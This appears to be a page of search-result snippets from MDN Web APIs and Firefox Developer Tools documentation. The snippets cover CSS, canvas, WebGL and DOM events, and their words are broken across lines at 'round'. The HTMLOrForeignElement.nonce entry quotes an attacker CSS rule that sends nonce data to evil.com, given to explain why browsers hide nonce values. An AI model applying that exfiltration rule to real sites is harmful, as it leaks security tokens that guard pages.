Accessibility Inspector - Firefox Developer Tools
this is because the accessibility engine runs in the backg
round when the accessibility features are turned on.
... as of firefox 65, viewing this information for some foreg
round text that has a complex backg
round image (e.g.
Index - Firefox Developer Tools
ide, inspector, tools in the css pane's rules view, if a rule contains a color value, you'll see a sample of the color next to the value: 66 open the inspector guide, inspector, tools there are two main ways to open the inspector: 67 reposition elements in the page starting in firefox 48 you can move absolutely positioned elements by dragging them a
round the page.
... 72 view backg
round images in the rules view, you can see a preview of images specified using backg
round-image.
Reposition elements in the page - Firefox Developer Tools
new in firefox 48 starting in firefox 48 you can move absolutely positioned elements by dragging them a
round the page.
... if an element has its position property set to absolute, relative or fixed and one or more of the top, bottom , left or right properties, the box model view displays a button: if you click that button, two handles appear next to the element: you can use these handles to drag the element a
round the page.
Page Inspector - Firefox Developer Tools
user interface tour to find your way a
round the inspector, here's a quick tour of the ui.
...t what you can do with the inspector, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts visualize transforms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes view backg
round images use the inspector from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
Paint Flashing Tool - Firefox Developer Tools
after moving the mouse a
round and scrolling a bit, the above page looks like this: in this example, there are two main sources of repaints: moving the mouse over links makes the browser repaint them, because they have a style applied using the :hover pseudo-class scrolling makes the browser repaint the new part of the page coming into view at the bottom of the screen, and also the scrollbar at the top-right to deactiva...
... <body> <div id="container"> <div class="moving-box" id="moving-box-left-margin">transition using margin-left</div> <div class="moving-box" id="moving-box-transform">transition using transform</div> </div> </body> #container { border: 1px solid; } .moving-box { height: 20%; width:20%; margin: 2%; padding: 2%; backg
round-color: blue; color: white; font-size: 24px; } #moving-box-left-margin { transition: margin-left 4s; } #moving-box-transform { transition: transform 4s; } body:hover #moving-box-left-margin{ margin-left: 74%; } body:hover #moving-box-transform { transform: translate(300%); } to see the transition, move the mouse into the space below: now switch paint flashing on, and try it aga...
about:debugging (before Firefox 68) - Firefox Developer Tools
if you change files that stay loaded the whole time, like backg
round scripts, then you can pick up changes you've made by disabling and then re-enabling the add-on in the about:addons page.
...this does what it says: reloading any persistent scripts, such as backg
round scripts parsing the manifest.json file again, so changes to permissions, content_scripts, browser_action or any other keys will take effect.
AbstractRange - Web APIs
there are two such interfaces: range the range interface has been a
round for a long time and has only recently been redefined to be based upon abstractrange as the need arose to define other forms of range data.
...by defining points within the document as offsets within a given node, those positions remain consistent with the content even as nodes are added to, removed from, or moved a
round within the dom tree—within reason.
AmbientLightSensor - Web APIs
the ambientlightsensor interface of the the sensor apis returns the current light level or illuminance of the ambient light a
round the hosting device.
... properties ambientlightsensor.illuminance returns the current light level in lux of the ambient light level a
round the hosting device.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
this attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and
rounding to the nearest integer value.
...this attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and
rounding to the nearest integer value.
BiquadFilterNode - Web APIs
indicates how peaked the frequency is a
round the cutoff.
... indicates how peaked the frequency is a
round the cutoff.
CSS.registerProperty() - Web APIs
.registered { --my-color: #c0ffee; backg
round-image: linear-gradient(to right, #fff, var(--my-color)); transition: --my-color 1s ease-in-out; } .registered:hover, .registered:focus { --my-color: #b4d455; } .unregistered { --unregistered: #c0ffee; backg
round-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455...
...; } button { font-size: 3vw; } we can add these styles to some buttons: <button class="registered">backg
round registered</button> <button class="unregistered">backg
round not registered</button> specifications specification status comment css properties and values api level 1the definition of 'the registerproperty() function' in that specification.
CanvasRenderingContext2D.clearRect() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.clearrect(0, 0, canvas.width, canvas.height); erasing part of a canvas this example draws a blue triangle on top of a yellowish backg
round.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw yellow backg
round ctx.beginpath(); ctx.fillstyle = '#ff6'; ctx.fillrect(0, 0, canvas.width, canvas.height); // draw blue triangle ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(180, 20); ctx.lineto(130, 130); ctx.closepath(); ctx.fill(); // clear part of the canvas ctx.clearrect(10, 10, 120, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcon...
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
the canvasrenderingcontext2d.drawfocusifneeded() method of the canvas 2d api draws a focus ring a
round the current or given path, if the specified element is focused.
...ettop; // focus button1, if appropriate drawbutton(button1, 20, 20); if (ctx.ispointinpath(x, y)) { button1.focus(); } // focus button2, if appropriate drawbutton(button2, 20, 80); if (ctx.ispointinpath(x, y)) { button2.focus(); } } function drawbutton(el, x, y) { const active = document.activeelement === el; const width = 150; const height = 40; // button backg
round ctx.fillstyle = active ?
Hit regions and accessibility - Web APIs
in the backg
round is a pink circle.
... canvasrenderingcontext2d.drawfocusifneeded() if a given element is focused, this method draws a focus ring a
round the current path.
Pixel manipulation with canvas - Web APIs
finally, we use the array data to set a backg
round color and a text in the <div> to display the color.
...g.onload = function() { ctx.drawimage(img, 0, 0); img.style.display = 'none'; }; var color = document.getelementbyid('color'); function pick(event) { var x = event.layerx; var y = event.layery; var pixel = ctx.getimagedata(x, y, 1, 1); var data = pixel.data; var rgba = 'rgba(' + data[0] + ', ' + data[1] + ', ' + data[2] + ', ' + (data[3] / 255) + ')'; color.style.backg
round = rgba; color.textcontent = rgba; } canvas.addeventlistener('mousemove', pick); painting pixel data into a context you can use the putimagedata() method to paint pixel data into a context: ctx.putimagedata(myimagedata, dx, dy); the dx and dy parameters indicate the device coordinates within the context at which to paint the top left corner of the pixel data you wish to draw.
console - Web APIs
styling console output you can use the %c directive to apply a css style to console output: console.log("this is %cmy stylish message", "color: yellow; font-style: italic; backg
round-color: blue;padding: 2px"); the text before the directive will not be affected, but the text after the directive will be styled using the css declarations in the parameter.
... the properties usable along with the %c syntax are as follows (at least, in firefox — they may differ in other browsers): backg
round and its longhand equivalents.
DOMMatrix - Web APIs
dommatrix.rotateself() modifies the matrix by rotating itself a
round each axis by the specified number of degrees.
... dommatrix.rotateaxisangleself() modifies the matrix by rotating it by the specified angle a
round the given vector.
DOMPoint - Web APIs
function onxrframe(time, xrframe) { let viewerpose = xrframe.getviewerpose(xrreferencespace); if (viewerpose) { let position = viewerpose.transform.position; let orientation = viewerpose.transform.orientation; console.log('xr viewer position: {x: ' +
roundtotwo(position.x) + ', y: ' +
roundtotwo(position.y) + ', z: ' +
roundtotwo(position.z)); console.log('xr viewer orientation: {x: ' +
roundtotwo(orientation.x) + ', y: ' +
roundtotwo(orientation.y) + ', z: ' +
roundtotwo(orientation.z) ...
... + ', w: ' +
roundtotwo(orientation.w)); } } specifications specification status comment geometry interfaces module level 1the definition of 'dompoint' in that specification.
Using light sensors - Web APIs
you are working in a dark environment'); bodybg.backg
roundcolor="lightgrey"; } else { bodybg.backg
roundcolor="#fff"; } }); this example shows how the api can actually be used in the wild.
...the code alerts the user that they are working in a dark environment and then changes the page's backg
round to a darker color.
DeviceMotionEvent.rotationRate - Web APIs
returns the rate at which the device is rotating a
round each of its axes in degrees per second.
... syntax var rotationrate = devicemotionevent.rotationrate; value the rotationrate property is a read only object describing the rotation rates of the device a
round each of its axes: alpha the rate at which the device is rotating about its z axis; that is, being twisted about a line perpendicular to the screen.
DeviceMotionEventRotationRate: alpha - Web APIs
this property indicates the rate of rotation a
round the z axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... return value alpha a double indicating the rate of rotation a
round the z axis, in degrees per second.
DeviceMotionEventRotationRate: beta - Web APIs
this property indicates the rate of rotation a
round the x axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... return value beta a double indicating the rate of rotation a
round the x axis, in degrees per second.
DeviceMotionEventRotationRate: gamma - Web APIs
this property indicates the rate of rotation a
round the y axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... return value gamma a double indicating the rate of rotation a
round the y axis, in degrees per second.
Document.bgColor - Web APIs
the deprecated bgcolor property gets or sets the backg
round color of the current document.
...the recommended alternative is use of the css style backg
round-color which can be accessed through the dom with document.body.style.backg
roundcolor.
Document.cookie - Web APIs
note that each key and value may be sur
rounded by whitespace (space and tab characters): in fact, rfc 6265 mandates a single space after each semicolon, but some user agents may not abide by this.
... note: prior to gecko 6.0, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters sur
rounding the actual path string.
Document.hasFocus() - Web APIs
for example, an active element within a popup window that is not the foreg
round doesn't have focus.
... html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.backg
round = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.backg
round = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status commen...
EffectTiming.fill - Web APIs
</div> css content .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0px; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 160px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 2em "lucida grande", "open sans", sans-serif; } while there's other css involved in this example, the part that really matters for our purposes is the css that styles the "box" element that we'...
...that css looks like this: #box { width: 200px; height: 200px; left: 50px; top: 50px; border: 1px solid #7788ff; margin: 0; position: relative; backg
round-color: #2233ff; display: flex; justify-content: center; } all this does is specify the size, border, and color information, as well as indicate that the box should be centered both vertically and horizontally inside its container.
Element: blur event - Web APIs
nt handler property onblur sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.backg
round = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.backg
round = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusout event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.backg
round = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.backg
round = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element.clientTop - Web APIs
(actually might be math.
round(parsefloat()).) for example, if the computed "border-top-width" is zero, then clienttop is also zero.
... note: this property will
round the value to an integer.
Element: focus event - Web APIs
t handler property onfocus sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.backg
round = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.backg
round = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusin event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.backg
round = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.backg
round = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
GlobalEventHandlers.onanimationcancel - Web APIs
</div> </div> <div class="button" id="togglebox"> hide the box </div> <pre id="log"></pre> css :root { --boxwidth: 50px; } .main { width: 300px; height: 300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; backg
round-color: #2233ff; display: flex; justify-content: center; animation: 5s ease-in-out 0s infinite alternate both slidebox; } the animation's keyframes are described next, plotting a course from the top-left corner of the content box to the bottom-right corner.
GlobalEventHandlers.onanimationend - Web APIs
v> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; backg
round-color: #2233ff; display: flex; justify-content: center; } the animation sequence is described next.
GlobalEventHandlers.onanimationiteration - Web APIs
d="text">box</div> </div> </div> <div class="button" id="play"> begin demonstration </div> css :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; backg
round-color: #2233ff; display: flex; justify-content: center; animation: 2s ease-in-out 0s infinite alternate both paused slidebox; } the animation's keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner.
GlobalEventHandlers.onanimationstart - Web APIs
v> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; backg
round-color: #2233ff; display: flex; justify-content: center; } the animation sequence is described next.
GlobalEventHandlers.onauxclick - Web APIs
the former changes the color of the button backg
round, while the latter changes the button foreg
round (text) color.
... var button = document.queryselector('button'); var html = document.queryselector('html'); function random(number) { return math.floor(math.random() * number); } button.onclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.backg
roundcolor = rndcol; }; button.onauxclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.color = rndcol; } note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when either of the non-left mouse buttons are clicked.
HTMLImageElement.alt - Web APIs
body { margin: 0; padding: 0; } p { margin-block-start: 0; margin-block-end: 1em; margin-top: 0; margin-bottom: 1em; } .container { width: 100vh; height: 95vh; font: 16px arial,helvetica,sans-serif; } .left-margin { backg
round-color: rgb(241, 240, 237, 255); width: 9em; height: 100%; float: left; margin-right: 5px; padding-right: 1em; display: flex; align-items: center; justify-content: center; } .left-margin img { width: 6em; } .contents { backg
round-color: rgb(241, 240, 235, 255); height: 100%; margin-left: 2em; padding-top: 1em; padding-left: 2em; padding-right: 1em; } result ima...
... </p> </div> css the main feature of the css here is the use of clip-path and shape-outside to wrap the text a
round the icon in an appealing way.
HTMLImageElement - Web APIs
obsolete properties htmlimageelement.align a domstring indicating the alignment of the image with respect to the sur
rounding context.
... htmlimageelement.border a domstring which defines the width of the border sur
rounding the image.
HTMLOrForeignElement.nonce - Web APIs
examples retrieving a nonce value in the past, not all browsers supported the nonce idl attribute, so a worka
round is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned).
... nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { backg
round: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLTableCellElement - Web APIs
it indicates the alignment of the element's contents with respect to the sur
rounding context.
... htmltablecellelement.bgcolor a domstring containing the backg
round color of the cells.
HTMLTableElement - Web APIs
it indicates the alignment of the element's contents with respect to the sur
rounding context.
... htmltableelement.bgcolor is a domstring containing the backg
round color of the cells.
HTMLTableRowElement - Web APIs
it indicates the alignment of the element's contents with respect to the sur
rounding context.
... htmltablerowelement.bgcolor is a domstring containing the backg
round color of the cells.
In depth: Microtasks and the JavaScript runtime environment - Web APIs
when debugging or, possibly, when trying to decide upon the best approach to solving a problem a
round timing and scheduling of tasks and microtasks, there are things about how the javascript runtime operates under the hood that may be useful to understand.
... the microtask queue has been a
round for a while, but it's historiclaly been used only internally in order to drive things like promises.
IdleDeadline.didTimeout - Web APIs
example see our complete example in the article cooperative scheduling of backg
round tasks api.
... specifications specification status comment cooperative scheduling of backg
round tasks proposed recommendation ...
IdleDeadline.timeRemaining() - Web APIs
example see our complete example in the article cooperative scheduling of backg
round tasks api.
... specifications specification status comment cooperative scheduling of backg
round tasks proposed recommendation ...
Browser storage limits and eviction criteria - Web APIs
storage comes in two types: persistent: this is data that is intended to be kept a
round for a long time.
... note: if you are looking a
round in your profile at the data stored, you might see a fourth folder: persistent.
KeyboardEvent.code - Web APIs
html <p>use the wasd (zqsd on azerty) keys to move and steer.</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>refresh();</script> css .world { margin: 0px; padding: 0px; backg
round-color: black; width: 400px; height: 400px; } #spaceship { fill: orange; stroke: red; stroke-width: 2px; } javascript the first section of the javascript code establishes some variables we'll be using.
... shipsize contains the size of the ship the player is moving a
round, for convenience.
KeyframeEffect.setKeyframes() - Web APIs
element.animate({ opacity: [ 0, 1 ], // offset: 0, 1 backg
roundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...the property names are specified using camel-case so for example backg
round-color becomes backg
roundcolor and backg
round-position-x becomes backg
roundpositionx.
MediaStreamConstraints.audio - Web APIs
/div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) ...
.../div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } })...
MediaStreamConstraints.video - Web APIs
/div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) ...
.../div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate...
MediaTrackSettings - Web APIs
logicalsurface a boolean value which, if true, indicates that the video contained in the stream's video track contains a backg
round rendering context, rather than a user-visible one.
... this is false if the video being captured is coming from a foreg
round (user-visible) source.
MouseEvent.pageX - Web APIs
html <div class="box"> <p> move the mouse a
round in this box to watch its coordinates change.
... .box { width: 400px; height: 250px; border: 2px solid darkblue; backg
round-color: blue; color: white; font: 16px "zilla", "open sans", "helvetica", "arial", sans-serif; } result try this out here: specifications specification status comment css object model (cssom) view modulethe definition of 'pagex' in that specification.
Using the Notifications API - Web APIs
the notifications api lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the backg
round.
...most modern browsers dismiss notifications automatically after a few moments (a
round four seconds) but this isn't something you should generally be concerned about as it's up to the user and user agent.
PaintWorklet - Web APIs
<style> textarea { backg
round-image: url(checkerboard); backg
round-image: paint(checkerboard); } </style> <textarea></textarea> you can also use the @supports at-rule.
... @supports (backg
round: paint(id)) { backg
round-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworkletglobalscope' in that specification.
Pointer Lock API - Web APIs
more than that, the api is useful for any applications that require significant mouse input to control movements, rotate objects, and change entries, for example allowing users to control the viewing angle simply by moving the mouse a
round without any button clicking.
...if so, it makes the ball wrap a
round to the opposite edge.
RTCRtpSender.getStats() - Web APIs
example this simple example obtains the statistics for an rtcrtpsender and updates an element's innertext to display the current
round trip time for requests on the sender.
... sender.getstats().then(function(stats) { document.getelementbyid("currentrtt").innertext = stats.
roundtriptime; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getstats()' in that specification.
RTCStatsReport - Web APIs
since this only provides statistics related to inbound data, without considering the local peer's state, any values that require knowledge of both, such as
round-trip time, is not included.
...this information considers only the outbound rtp stream, so any data which requires information about the state of the remote peers (such as
round-trip time) is unavailable, since those values can't be computed without knowing about the other peers' states.
RTCStatsType - Web APIs
since this only provides statistics related to inbound data, without considering the local peer's state, any values that require knowledge of both, such as
round-trip time, is not included.
...this information considers only the outbound rtp stream, so any data which requires information about the state of the remote peers (such as
round-trip time) is unavailable, since those values can't be computed without knowing about the other peers' states.
Range.setStart() - Web APIs
the selected range is then highlighted using range.sur
roundcontents().
...const endoffset = 5; // end at fifth node: dodge city, ks const range = document.createrange(); range.setstart(address, startoffset); range.setend(address, endoffset); const mark = document.createelement('mark'); range.sur
roundcontents(mark); result get characters from a text node this example uses the range.setstart() and range.setend() methods to define the contents of a range.
Range - Web APIs
range.sur
roundcontents() moves content of a range into a new node.
... range.comparenode() returns a constant representing whether the node is before, after, inside, or sur
rounding the range.
Using the Screen Capture API - Web APIs
potential risks privacy and security issues sur
rounding screen sharing are usually not overly serious, but they do exist.
... for example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible backg
round window happens to contain personal information, or if their password manager is visible in the shared stream.
ServiceWorkerContainer.register() - Web APIs
there is frequent confusion sur
rounding the meaning and use of scope.
...ator) { // declaring scope manually navigator.serviceworker.register('/sw.js', {scope: './'}).then(function(registration) { console.log('service worker registration succeeded:', registration); }, /*catch*/ function(error) { console.log('service worker registration failed:', error); }); } else { console.log('service workers are not supported.'); } there is frequent confusion sur
rounding the meaning and use of scope.
ServiceWorkerRegistration.sync - Web APIs
the sync property of the serviceworkerregistration interface returns a reference to the syncmanager interface, which manages backg
round synchronization processes.
... specifications specification status comment web backg
round synchronization living standard initial definition.
SpeechRecognition - Web APIs
after some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see speechrecognition.start().) when a result has been successfully recognised, the speechrecognition.onresult handler fires, we extract the color that was spoken from the event object, and then set the backg
round color of the <html> element to that color.
...cognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognition' in that specification.
Clearing with colors - Web APIs
note that css sets the backg
round color of the canvas to black, so when the canvas turns green we know that webgl's magic has worked.
...--> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } // run everything inside window load event handler, to make sure // dom is fully loaded and styled before trying to manipulate it, // and to not mess up the global scope.
Adding 2D content to a WebGL context - Web APIs
since the attribute and uniform locations are specific to a single shader program we'll store them together to make them easy to pass a
round const programinfo = { program: shaderprogram, attriblocations: { vertexposition: gl.getattriblocation(shaderprogram, 'avertexposition'), }, uniformlocations: { projectionmatrix: gl.getuniformlocation(shaderprogram, 'uprojectionmatrix'), modelviewmatrix: gl.getuniformlocation(shaderprogram, 'umodelviewmatrix'), }, }; creating the square plane before we...
... gl.uniformmatrix4fv( programinfo.uniformlocations.projectionmatrix, false, projectionmatrix); gl.uniformmatrix4fv( programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); { const offset = 0; const vertexcount = 4; gl.drawarrays(gl.triangle_strip, offset, vertexcount); } } the first step is to clear the canvas to our backg
round color; then we establish the camera's perspective.
Creating 3D objects using WebGL - Web APIs
we can pass a lot fewer data a
round by building an array of all 24 vertices, then referring to each vertex by its index into that array instead of moving entire sets of coordinates a
round.
... finally, let's replace our variable squarerotation by cuberotation and add a second rotation a
round the x axis: mat4.rotate(modelviewmatrix, modelviewmatrix, cuberotation * .7, [0, 1, 0]); at this point, we now have an animated cube rotating, its six faces rather vividly colored.
Getting started with WebGL - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page backg
round.
...in this case, we set the clear color to black, and clear the context to that color (redrawing the canvas with the backg
round color).
WebRTC API - Web APIs
tutorials improving compatibility using webrtc adapter.js the webrtc organization provides on github the webrtc adapter to work a
round compatibility issues in different browsers' webrtc implementations.
... (webrtc): media transport and use of rtp webrtc security architecture transports for rtcweb related supporting protocols interactive connectivity establishment (ice): a protocol for network address translator (nat) traversal for offer/answer protocol session traversal utilities for nat (stun) uri scheme for the session traversal utilities for nat (stun) protocol traversal using relays a
round nat (turn) uniform resource identifiers an offer/answer model with session description protocol (sdp) session traversal utilities for nat (stun) extension for third party authorization webrtc statistics webrtc statistics api specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation the init...
Starting up and shutting down a WebXR session - Web APIs
permissions and security there are a number of security measures in place revolving a
round webxr.
...there are three options: immersive-vr a fully-immersive virtual reality session using a headset or similar device that fully replaces the world a
round the user with the images you present.
Keyframe Formats - Web APIs
element.animate({ opacity: [ 0, 1 ], // offset: 0, 1 backg
roundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...the property names are specified using camel-case so for example backg
round-color becomes backg
roundcolor and backg
round-position-x becomes backg
roundpositionx.
Using the Web Animations API - Web APIs
the css version here’s a tumbling animation written in css showing alice falling down the rabbit hole that leads to wonderland (see the full code on codepen): notice that the backg
round moves, alice spins, and her color changes at an offset from her spinning.
... redqueen_alice.updateplaybackrate(redqueen_alice.playbackrate * .9); } }, 3000); but urging them on by clicking or tapping causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.updateplaybackrate(redqueen_alice.playbackrate * 1.1); } document.addeventlistener("click", gofaster); document.addeventlistener("touchstart", gofaster); the backg
round elements also have playbackrates that are impacted when you click or tap.
Web Audio API - Web APIs
offline/backg
round audio processing it is possible to process/render an audio graph very quickly in the backg
round — rendering it to an audiobuffer rather than to the device's speakers — with the following.
...keep playing and experimenting — you can expand on any of these techniques to create something much more elaborate.backg
round audio processing using audioworkletthe process of creating an audio processor using javascript, establishing it as an audio worklet processor, and then using that processor within a web audio application is the topic of this article.basic concepts behind web audio apithis article explains some of the audio theory behind how the features of the web audio api work, to help you make informed decisio...
Using the Web Storage API - Web APIs
for example: function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backg
